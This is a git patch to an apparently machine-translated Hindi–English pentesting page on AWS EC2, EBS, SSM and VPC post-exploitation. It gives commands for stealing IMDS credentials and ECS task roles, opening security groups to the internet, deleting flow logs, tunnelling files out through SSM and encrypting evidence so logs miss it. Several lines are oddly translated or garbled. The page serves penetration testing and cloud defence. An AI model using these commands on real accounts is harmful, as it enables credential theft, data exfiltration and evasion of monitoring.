From 6e121f4f30f19f91be63342ccbcf40aa5490af07 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 13 Jan 2026 14:50:09 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../README.md | 142 +++++++++--------- 1 file changed, 74 insertions(+), 68 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index d28875d90..56c4d5db1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -12,8 +12,8 @@ For more information check: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **VPC के अंदर EC2 instances के लिए इनबाउंड और आउटबाउंड ट्रैफ़िक को डुप्लिकेट करता है** और इसमें instances पर कुछ भी इंस्टॉल करने की ज़रूरत नहीं होती। यह डुप्लिकेट किया गया ट्रैफ़िक आमतौर पर विश्लेषण और मॉनिटरिंग के लिए किसी network intrusion detection system (IDS) जैसी चीज़ को भेजा जाता है.\ -एक attacker इसका दुरुपयोग करके सभी ट्रैफ़िक को कैप्चर कर सकता है और उससे संवेदनशील जानकारी प्राप्त कर सकता है: +VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\ +An attacker could abuse this to capture all the traffic and obtain sensitive information from it: For more information check this page: @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -Instances में आमतौर पर किसी न किसी तरह की संवेदनशील जानकारी होती है। अंदर पहुँचने के अलग-अलग तरीके होते हैं (देखें [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). हालांकि, इसकी सामग्री देखने का एक और तरीका है कि आप **create an AMI and run a new instance (even in your own account) from it**: +Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). However, another way to check what it contains is to **एक AMI बनाकर उससे एक नया instance (यहाँ तक कि अपने ही account में) चलाएँ**: ```shell # List instances aws ec2 describe-images @@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots are backups of volumes**, जो आमतौर पर **संवेदनशील जानकारी** रखते हैं, इसलिए उन्हें चेक करने पर यह जानकारी उजागर हो सकती है।\ -If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account: +**Snapshots are backups of volumes**, जो आमतौर पर **संवेदनशील जानकारी** रख सकते हैं, इसलिए इन्हें चेक करने पर यह जानकारी उजागर हो सकती है।\ +यदि आप किसी **volume without a snapshot** पाते हैं तो आप: **Create a snapshot** कर सकते हैं और निम्नलिखित क्रियाएँ कर सकते हैं या बस इसे खाते के अंदर किसी instance में **mount it in an instance** कर लें: {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -EC2 AMI को सीधे S3 में export करने के लिए `CreateStoreImageTask` का उपयोग करके बिना snapshot sharing के raw disk image प्राप्त करें। इससे instance की networking को अप्रभावित रखते हुए पूरा offline forensics या data theft संभव होता है। +EC2 AMI को सीधे S3 पर `CreateStoreImageTask` का उपयोग करके export करें ताकि snapshot sharing के बिना raw disk image प्राप्त हो सके। यह पूरी तरह offline forensics या data theft की सुविधा देता है जबकि instance का networking अनछुआ रहता है। {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -io1/io2 Multi-Attach volume को दूसरी instance से attach करके उसे read-only mount करें और snapshots के बिना live data siphon करें। जब victim volume पहले से ही उसी AZ में Multi-Attach enabled हो तो यह उपयोगी होता है। +io1/io2 Multi-Attach volume को दूसरे instance से attach करें और उसे read-only रूप में mount करके snapshots के बिना live डेटा निकालें। यह तब उपयोगी है जब victim volume पहले से ही उसी AZ में Multi-Attach के साथ enabled हो। {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -EC2 Instance Connect Endpoint बनाएं, ingress authorize करें, और ephemeral SSH keys inject करके managed tunnel के माध्यम से private instances तक पहुंच प्राप्त करें। यह public ports खोले बिना तेज़ lateral movement के रास्ते देता है। +EC2 Instance Connect Endpoint बनाकर, ingress authorize करें, और ephemeral SSH keys inject करके managed tunnel के जरिए private instances तक पहुँच हासिल करें। यह public ports खोले बिना तेज़ lateral movement रास्ते देता है। {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -victim ENI का secondary private IP attacker-controlled ENI में move करके IP द्वारा allowlisted trusted hosts का impersonation करें। यह internal ACLs या specific addresses पर keyed SG rules को bypass करने में सक्षम बनाता है। +victim ENI के secondary private IP को attacker-controlled ENI पर मूवे करके उन trusted hosts का impersonation करें जो IP द्वारा allowlisted हैं। यह internal ACLs या SG rules जो specific addresses पर निर्भर हैं उन्हें bypass करने में सक्षम बनाता है। {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -victim instance से Elastic IP को attacker के साथ reassociate करके inbound ट्रैफ़िक intercept करें या ऐसे outbound कनेक्शन originate करें जो trusted public IPs से आते दिखें। +victim instance से Elastic IP को attacker को reassociate करके inbound ट्रैफ़िक intercept करें या ऐसे outbound कनेक्शनों की शुरुआत करें जो trusted public IPs से आ रहे दिखते हैं। {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -यदि कोई security group rule किसी customer-managed prefix list को reference करता है, तो उस list में attacker CIDRs जोड़ने से बिना SG को बदले हर dependent SG rule में चुपचाप पहुंच बढ़ जाती है। +यदि कोई security group rule किसी customer-managed prefix list का reference करता है, तो उस list में attacker CIDRs जोड़ने से बिना SG को modify किए हर dependent SG rule पर चुपचाप पहुंच बढ़ जाती है। {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -gateway या interface VPC endpoints बनाकर isolated subnets से outbound access फिर से प्राप्त करें। AWS-managed private links का उपयोग करके missing IGW/NAT controls को bypass करके डेटा exfiltration की जा सकती है। +gateway या interface VPC endpoints बनाकर isolated subnets से outbound access फिर से हासिल करें। AWS-managed private links का उपयोग करके missing IGW/NAT controls को bypass करके data exfiltration संभव होता है। {{#ref}} aws-vpc-endpoint-egress-bypass.md @@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md ### `ec2:AuthorizeSecurityGroupIngress` -ec2:AuthorizeSecurityGroupIngress permission वाले attacker security groups में inbound rules जोड़ सकते हैं (उदाहरण के लिए, 0.0.0.0/0 से tcp:80 की अनुमति), जिससे internal services public Internet या अन्य unauthorized networks के लिए उजागर हो जाती हैं। +An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks. ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 ``` # `ec2:ReplaceNetworkAclEntry` -एक attacker जिसके पास ec2:ReplaceNetworkAclEntry (या समान) permissions हों, वे एक subnet के Network ACLs (NACLs) को बहुत permissive बना सकते हैं — उदाहरण के लिए critical ports पर 0.0.0.0/0 allow करके — जिससे पूरा subnet range Internet या unauthorized network segments के लिए खुल सकता है। Security Groups के विपरीत, जिन्हें per-instance लागू किया जाता है, NACLs subnet स्तर पर लागू होते हैं, इसलिए किसी restrictive NACL को बदलने से बहुत अधिक hosts तक access सक्षम होकर blast radius काफी बड़ा हो सकता है। +ec2:ReplaceNetworkAclEntry (or similar) permissions वाले एक attacker subnet की Network ACLs (NACLs) को बहुत permissive बना सकते हैं — उदाहरण के लिए critical ports पर 0.0.0.0/0 की अनुमति देकर — जिससे पूरा subnet रेंज Internet या unauthorized network segments के लिए खुल सकता है। Security Groups के विपरीत, जो per-instance लागू होते हैं, NACLs subnet स्तर पर लागू होते हैं, इसलिए किसी restrictive NACL को बदलने से कई और hosts तक पहुँच सक्षम कर के blast radius काफी बड़ा हो सकता है। ```bash aws ec2 replace-network-acl-entry \ --network-acl-id \ @@ -131,7 +131,7 @@ aws ec2 replace-network-acl-entry \ ``` ### `ec2:Delete*` -ec2:Delete* और iam:Remove* permissions वाले attacker महत्वपूर्ण infrastructure resources और configurations को हटा सकते हैं — जैसे key pairs, launch templates/versions, AMIs/snapshots, volumes या attachments, security groups या rules, ENIs/network endpoints, route tables, gateways, या managed endpoints. इससे तात्कालिक service disruption, डेटा लॉस, और forensic evidence का नाश हो सकता है। +ec2:Delete* और iam:Remove* अनुमतियाँ रखने वाला एक हमलावर महत्वपूर्ण इंफ्रास्ट्रक्चर संसाधन और कॉन्फ़िगरेशन हटा सकता है — उदाहरण के लिए key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, या managed endpoints. इससे तात्कालिक सेवा व्यवधान, डेटा हानि, और फॉरेंसिक सबूतों का नुकसान हो सकता है। One example is deleting a security group: @@ -140,7 +140,7 @@ aws ec2 delete-security-group \ ### VPC Flow Logs Cross-Account Exfiltration -VPC Flow Logs को attacker-controlled S3 bucket की ओर पॉइंट करें ताकि नेटवर्क metadata (source/destination, ports) लगातार victim account के बाहर long-term reconnaissance के लिए इकट्ठा किया जा सके। +VPC Flow Logs को attacker-controlled S3 bucket की तरफ पॉइंट करें ताकि network metadata (source/destination, ports) को victim account के बाहर लगातार इकट्ठा किया जा सके और long-term reconnaissance के लिए रखा जा सके। {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -150,17 +150,17 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -अगर आप EC2 को लॉक डाउन कर दें ताकि कोई traffic बाहर न जाए, तब भी यह **exfil via DNS** कर सकता है। +भले ही आप EC2 को lock down कर दें ताकि कोई ट्रैफ़िक बाहर न जा सके, यह फिर भी **exfil via DNS** कर सकता है। -- **VPC Flow Logs will not record this**। -- आपके पास AWS DNS logs तक पहुँच नहीं है। -- इसे disable करने के लिए "enableDnsSupport" को false सेट करें: +- **VPC Flow Logs यह रिकॉर्ड नहीं करेगा**। +- आपके पास AWS DNS logs का कोई access नहीं है। +- इसे disable करने के लिए "enableDnsSupport" को false पर सेट करें: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -एक attacker उस account के API endpoints को कॉल कर सकता है जिसे वह नियंत्रित करता है। Cloudtrail इन calls को log करेगा और attacker Cloudtrail logs में exfiltrate डेटा देख सकेगा। +एक हमलावर अपने नियंत्रित account के API endpoints को कॉल कर सकता है। Cloudtrail इन कॉल्स को log करेगा और हमलावर Cloudtrail logs में exfiltrate डेटा देख पाएगा। ### Open Security Group @@ -171,47 +171,51 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por ``` ### Privesc to ECS -EC2 instance को चलाकर और उसे ECS instances चलाने के लिए register करके आप उस ECS instances का डेटा चुरा सकते हैं। +It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data. For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation +### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape) -EC2 container instance पर चल रहे किसी भी ECS task के अंदर का compromise आमतौर पर host रोल और उस node पर मौजूद अन्य सभी tasks से जुड़े IAM roles तक pivot करने के लिए पर्याप्त होता है। क्योंकि ECS-on-EC2 के लिए **कोई task isolation नहीं है**, हर task डिफ़ॉल्ट रूप से EC2 Instance Metadata Service (IMDS) को query कर सकता है, container instance profile चुरा सकता है, और फिर वही WebSocket protocol बोल सकता है जिसे ECS agent control plane के साथ उपयोग करता है (यहाँ **ECScape** primitive) ताकि उस host पर वर्तमान में scheduled सभी tasks के credentials प्राप्त किए जा सकें। Latacora ने अपने [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) में इस workflow का documentation किया है, जिसे नीचे का offensive सार संक्षेप में पेश करता है। +ECS पर EC2 launch type के साथ, control plane हर task role को assume करता है और temporary credentials को Agent Communication Service (ACS) WebSocket चैनल के माध्यम से ECS agent को भेजता है। agent फिर उन credentials को containers को task metadata endpoint (169.254.170.2) के जरिए सर्व करता है। ECScape रिसर्च दिखाती है कि अगर कोई container IMDS तक पहुँच सकता है और **instance profile** चुरा लेता है, तो वह ACS पर agent का impersonate कर सकता है और उस host पर मौजूद **every task role credential** प्राप्त कर सकता है, जिनमें वे **task execution role** credentials भी शामिल हैं जो metadata endpoint पर एक्सपोज़ नहीं होते। #### Attack chain -1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile. +1. **Steal the container instance role from IMDS.** IMDS access आवश्यक है ताकि ECS agent द्वारा उपयोग किए जाने वाले host role को प्राप्त किया जा सके। ```bash TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ +http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} ``` -2. **Use the container instance role to impersonate the ECS agent.** उन credentials के साथ आप undocumented WebSocket चैनल बोल सकते हैं जिसे ECS agent उपयोग करता है; control plane आपको वास्तविक agent समझकर every task IAM credentials आपके process को दे देता है। अब आप higher-privileged tasks lokaal चला सकते हैं, task environment secrets dump कर सकते हैं, या services/tasks को update करके ऐसे workloads redeploy कर सकते हैं जिन्हें आप पूरी तरह निरीक्षण कर सकें। +2. **Discover the ACS poll endpoint and required identifiers.** Instance role credentials का उपयोग करके, `ecs:DiscoverPollEndpoint` कॉल करके ACS endpoint प्राप्त करें और ऐसे identifiers इकट्ठा करें जैसे cluster ARN और container instance ARN। cluster ARN task metadata (169.254.170.2/v4/) के जरिए एक्सपोज़ होता है, जबकि container instance ARN को agent introspection API या (यदि अनुमति हो) `ecs:ListContainerInstances` से प्राप्त किया जा सकता है। +3. **Impersonate the ECS agent over ACS.** poll endpoint पर SigV4-signed WebSocket initiate करें और `sendCredentials=true` शामिल करें। ECS इस कनेक्शन को एक वैध agent session के रूप में स्वीकार करता है और instance पर मौजूद सभी tasks के लिए `IamRoleCredentials` संदेश स्ट्रीम करना शुरू कर देता है। इसमें task execution role credentials भी शामिल हैं, जो ECR pulls, Secrets Manager retrievals, या CloudWatch Logs एक्सेस अनलॉक कर सकते हैं। + +**Find the PoC in ** #### IMDS reachability with IMDSv2 + hop limit 1 -IMDSv2 को `HttpTokens=required` और `HttpPutResponseHopLimit=1` के साथ सेट करना केवल उन tasks को ब्लॉक करता है जो एक अतिरिक्त hop (Docker bridge) के पीछे रहते हैं। अन्य networking modes Nitro controller के एक hop के भीतर रहते हैं और फिर भी responses प्राप्त होते हैं: +`HttpTokens=required` और `HttpPutResponseHopLimit=1` के साथ IMDSv2 सेट करने से केवल वे tasks ब्लॉक होते हैं जो एक अतिरिक्त hop (Docker bridge) के पीछे रहते हैं। अन्य networking modes Nitro controller से एक ही hop के भीतर रहते हैं और फिर भी responses प्राप्त करते हैं: | ECS network mode | IMDS reachable? | Reason | | --- | --- | --- | -| `awsvpc` | ✅ | Each task gets its own ENI that is still one hop away from IMDS, so tokens and metadata responses arrive successfully. | -| `host` | ✅ | Tasks share the host namespace, so they see the same hop distance as the EC2 instance. | -| `bridge` | ❌ | Responses die on the Docker bridge because that extra hop exhausts the hop limit. | +| `awsvpc` | ✅ | प्रत्येक task को अपना ENI मिलता है जो अभी भी IMDS से एक hop दूर है, इसलिए tokens और metadata responses सफलतापूर्वक पहुँचते हैं। | +| `host` | ✅ | Tasks host namespace शेयर करते हैं, इसलिए वे EC2 instance के समान hop distance देखते हैं। | +| `bridge` | ❌ | Responses Docker bridge पर मर जाती हैं क्योंकि वह अतिरिक्त hop hop limit को समाप्त कर देता है। | -इसलिए, **कभी भी यह मत मानें कि hop limit 1 awsvpc या host-mode workloads को सुरक्षित करता है**—हमेशा अपने containers के अंदर से टेस्ट करें। +इसलिए, **never assume hop limit 1 protects awsvpc or host-mode workloads**—हमेशा अपने containers के अंदर से टेस्ट करें। #### Detecting IMDS blocks per network mode -- **awsvpc tasks:** Security groups, NACLs, या routing tweaks link-local 169.254.169.254 address को ब्लॉक नहीं कर सकते क्योंकि Nitro इसे on-host inject करता है। `/etc/ecs/ecs.config` में `ECS_AWSVPC_BLOCK_IMDS=true` के लिए चेक करें। अगर यह flag missing है (default) तो आप task से सीधे IMDS को curl कर सकते हैं। अगर यह सेट है, तो host/agent namespace में pivot करके इसे वापस flip करें या अपना tooling awsvpc के बाहर execute करें। +- **awsvpc tasks:** Nitro onu-host inject करता है इसलिए link-local 169.254.169.254 address को Security groups, NACLs, या routing tweaks से ब्लॉक नहीं किया जा सकता। `/etc/ecs/ecs.config` में `ECS_AWSVPC_BLOCK_IMDS=true` चेक करें। यदि यह flag गायब है (default) तो आप task से सीधे IMDS को curl कर सकते हैं। यदि यह सेट है, तो host/agent namespace में pivot करके इसे बदलें या अपना tooling awsvpc के बाहर चलाएँ। -- **bridge mode:** जब metadata requests fail करती हैं भले ही hop limit 1 configurated हो, तो defenders ने शायद `DOCKER-USER` drop rule डाल दिया होगा जैसे `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`। `iptables -S DOCKER-USER` लिस्ट करने से यह पता चलता है, और root access से आप query करने से पहले rule को delete या reorder कर सकते हैं। +- **bridge mode:** जब metadata requests विफल होते हैं हालांकि hop limit 1 कॉन्फ़िगर है, तो defenders ने शायद `DOCKER-USER` drop rule लगाया होगा जैसे `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`। `iptables -S DOCKER-USER` लिस्ट करने से यह उजागर होता है, और root access से आप IMDS को क्वेरी करने से पहले rule को डिलीट या reorder कर सकते हैं। -- **host mode:** agent configuration में `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false` की जाँच करें। यह setting task IAM roles को पूरी तरह हटा देती है, इसलिए आपको या तो इसे फिर से enable करना होगा, awsvpc tasks में move करना होगा, या host पर किसी दूसरे process के माध्यम से credentials चुराने होंगे। जब value `true` (default) होती है, तो हर host-mode process—जिसमें compromised containers भी शामिल हैं—IMDS तक पहुँच सकते हैं जब तक कि bespoke eBPF/cgroup filters सीधे `169.254.169.254` को target न कर रहे हों; tc/eBPF programs या iptables rules में उस address का संदर्भ खोजें। +- **host mode:** agent configuration में `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false` की जाँच करें। यह सेटिंग task IAM roles को पूरी तरह हटा देती है, इसलिए आपको या तो इसे फिर से enable करना होगा, awsvpc tasks पर जाना होगा, या host पर किसी अन्य process के जरिए credentials चुराने होंगे। जब value `true` (default) हो, तो हर host-mode process—जिसमें compromised containers भी शामिल हैं—IMDS तक पहुँच सकती है जब तक कि bespoke eBPF/cgroup filters `169.254.169.254` को target न कर रहे हों; tc/eBPF programs या iptables rules जो उस address का संदर्भ लेते हैं उन्हें देखें। -Latacora ने [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) भी रिलीज़ किया है जिसे आप target account में drop करके यह सूची बना सकते हैं कि कौन से network modes अब भी metadata expose करते हैं और अपने अगले कदम की योजना बना सकते हैं। +Latacora ने यहाँ तक कि [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) रिलीज़ किया है जिसे आप target account में डालकर यह खोज सकते हैं कि कौन से network modes अभी भी metadata एक्सपोज़ करते हैं और उसी के अनुसार अपना अगला कदम प्लान कर सकते हैं। -एक बार जब आप समझ लें कि कौन से modes IMDS expose करते हैं तो आप अपना post-exploitation path plan कर सकते हैं: किसी भी ECS task को target करें, instance profile request करें, agent का impersonate करें, और lateral movement या cluster के अंदर persistence के लिए हर दूसरे task role को harvest करें। +एक बार जब आप समझ लें कि कौन से modes IMDS एक्सपोज़ करते हैं, तो आप अपना post-exploitation path प्लान कर सकते हैं: किसी भी ECS task को target करें, instance profile अनुरोध करें, agent का impersonate करें, और cluster के अंदर lateral movement या persistence के लिए बाकी task roles harvest करें। ### Remove VPC flow logs ```bash @@ -219,68 +223,68 @@ aws ec2 delete-flow-logs --flow-log-ids --region ``` ### SSM Port Forwarding -आवश्यक अनुमतियाँ: +आवश्यक अनुमति: - `ssm:StartSession` -कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे Security Groups या NACLs के कारण नेटवर्क एक्सेस न रखने वाले EC2 इंस्टेंस से pivoting के लिए दुरुपयोग किया जा सकता है। -एक उपयोगी परिदृश्यों में से एक है [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक निजी EKS cluster की ओर pivoting करना। +कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे Security Groups या NACLs की वजह से नेटवर्क एक्सेस न होने वाले EC2 instances से pivot करने के लिए दुरुपयोग किया जा सकता है। +यह तब उपयोगी होता है जब आप [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक private EKS cluster की ओर pivot कर रहे हों। -> सत्र शुरू करने के लिए आपके पास SessionManagerPlugin इंस्टॉल होना चाहिए: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> सेशन शुरू करने के लिए आपके पास SessionManagerPlugin इंस्टॉल होना चाहिए: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. अपने मशीन पर SessionManagerPlugin इंस्टॉल करें 2. निम्नलिखित कमांड का उपयोग करके Bastion EC2 में लॉग इन करें: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Bastion EC2 के AWS temporary credentials को [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script के साथ प्राप्त करें -4. credentials को अपनी मशीन के `$HOME/.aws/credentials` फ़ाइल में `[bastion-ec2]` profile के रूप में ट्रांसफर करें +3. Bastion EC2 के AWS अस्थायी क्रेडेंशियल्स [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) स्क्रिप्ट के साथ प्राप्त करें +4. इन क्रेडेंशियल्स को अपनी मशीन पर `$HOME/.aws/credentials` फ़ाइल में `[bastion-ec2]` प्रोफ़ाइल के रूप में स्थानांतरित करें 5. Bastion EC2 के रूप में EKS में लॉग इन करें: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. `$HOME/.kube/config` फ़ाइल में `server` फ़ील्ड को `https://localhost` की ओर इंगित करने के लिए अपडेट करें। +6. `$HOME/.kube/config` फ़ाइल में `server` फ़ील्ड को `https://localhost` पर इंगित करने के लिए अपडेट करें 7. निम्नानुसार एक SSM tunnel बनाएं: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. `kubectl` टूल से आने वाला ट्रैफ़िक अब SSM टनल के माध्यम से Bastion EC2 के जरिए फ़ॉरवर्ड किया जाता है और आप अपनी मशीन से निम्न कमांड चलाकर निजी EKS क्लस्टर तक पहुंच सकते हैं: +8. `kubectl` टूल से ट्रैफ़िक अब Bastion EC2 के माध्यम से SSM टनल के जरिए फॉरवर्ड किया जाता है और आप अपनी मशीन से निम्नलिखित कमांड चलाकर private EKS cluster तक पहुँच सकते हैं: ```shell kubectl get pods --insecure-skip-tls-verify ``` -ध्यान दें कि SSL कनेक्शन्स तब तक फेल हो जाएँगी जब तक आप `--insecure-skip-tls-verify` फ्लैग (या K8s audit tools में इसका समतुल्य) सेट नहीं करते। चूँकि ट्रैफ़िक secure AWS SSM tunnel के माध्यम से टनल किया जाता है, आप किसी भी प्रकार के MitM attacks से सुरक्षित हैं। +ध्यान दें कि SSL कनेक्शन विफल हो जाएंगे जब तक आप `--insecure-skip-tls-verify ` फ्लैग सेट नहीं करते (या K8s audit tools में इसका समकक्ष)। चूंकि ट्रैफ़िक सुरक्षित AWS SSM tunnel के माध्यम से टनल किया जाता है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं। -आख़िरकार, यह technique सिर्फ private EKS clusters पर हमला करने के लिए specific नहीं है। आप किसी भी अन्य AWS service या किसी custom application पर pivot करने के लिए arbitrary domains और ports सेट कर सकते हैं। +अंत में, यह technique विशेष रूप से attacking private EKS clusters तक सीमित नहीं है। आप arbitrary domains और ports सेट करके किसी भी अन्य AWS service या किसी custom application पर pivot कर सकते हैं। --- -#### त्वरित लोकल ↔️ रिमोट पोर्ट फ़ॉरवर्ड (AWS-StartPortForwardingSession) +#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) -यदि आपको केवल **EC2 instance से अपने local host पर एक TCP पोर्ट फॉरवर्ड** करने की आवश्यकता है, तो आप `AWS-StartPortForwardingSession` SSM document का उपयोग कर सकते हैं (कोई remote host parameter आवश्यक नहीं है): +यदि आपको केवल **EC2 instance से आपके local host पर एक TCP port** फॉरवर्ड करने की आवश्यकता है, तो आप `AWS-StartPortForwardingSession` SSM document का उपयोग कर सकते हैं (कोई remote host parameter आवश्यक नहीं): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -यह कमांड आपके workstation (`localPortNumber`) और instance पर चयनित पोर्ट (`portNumber`) के बीच एक द्वि-दिशीय टनल स्थापित करता है **बिना किसी इनबाउंड Security-Group rules को खोले**। +The command आपके workstation (`localPortNumber`) और instance पर चुने गए पोर्ट (`portNumber`) के बीच एक द्वि-दिशात्मक टनल स्थापित करता है **without opening any inbound Security-Group rules**। Common use cases: * **File exfiltration** -1. instance पर उस डायरेक्टरी की ओर इशारा करते हुए एक त्वरित HTTP server शुरू करें जिसे आप exfiltrate करना चाहते हैं: +1. instance पर उस डायरेक्टरी के लिए एक त्वरित HTTP सर्वर शुरू करें जिसे आप exfiltrate करना चाहते हैं: ```bash python3 -m http.server 8000 ``` -2. अपने workstation से SSM tunnel के माध्यम से फाइलें प्राप्त करें: +2. अपने workstation से SSM टनल के माध्यम से फाइलें प्राप्त करें: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Internal web applications तक पहुँच (e.g. Nessus)** +* **आंतरिक वेब एप्लिकेशन तक पहुँच (उदा. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -288,7 +292,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -टिप: एक्सफिल्ट्रेट करने से पहले सबूत को संपीड़ित और एन्क्रिप्ट करें ताकि CloudTrail स्पष्ट-पाठ सामग्री को लॉग न करे: +टिप: exfiltrating से पहले सबूत को compress और encrypt करें ताकि CloudTrail clear-text content को लॉग न करे: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -299,7 +303,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ ``` ### सार्वजनिक और निजी AMIs में संवेदनशील जानकारी खोजें -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक उपकरण है जिसे **सार्वजनिक या निजी Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए** डिज़ाइन किया गया है। यह target AMIs से instances लॉन्च करने, उनके volumes माउंट करने, और संभावित secrets या संवेदनशील डेटा को स्कैन करने की प्रक्रिया को स्वचालित करता है। +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक टूल है जो **सार्वजनिक या निजी Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए** बनाया गया है। यह लक्षित AMIs से instances लॉन्च करने, उनकी volumes माउंट करने, और संभावित secrets या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है। ### EBS Snapshot साझा करें ```bash @@ -307,9 +311,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -S3 post-exploitation नोट्स में दिखाए 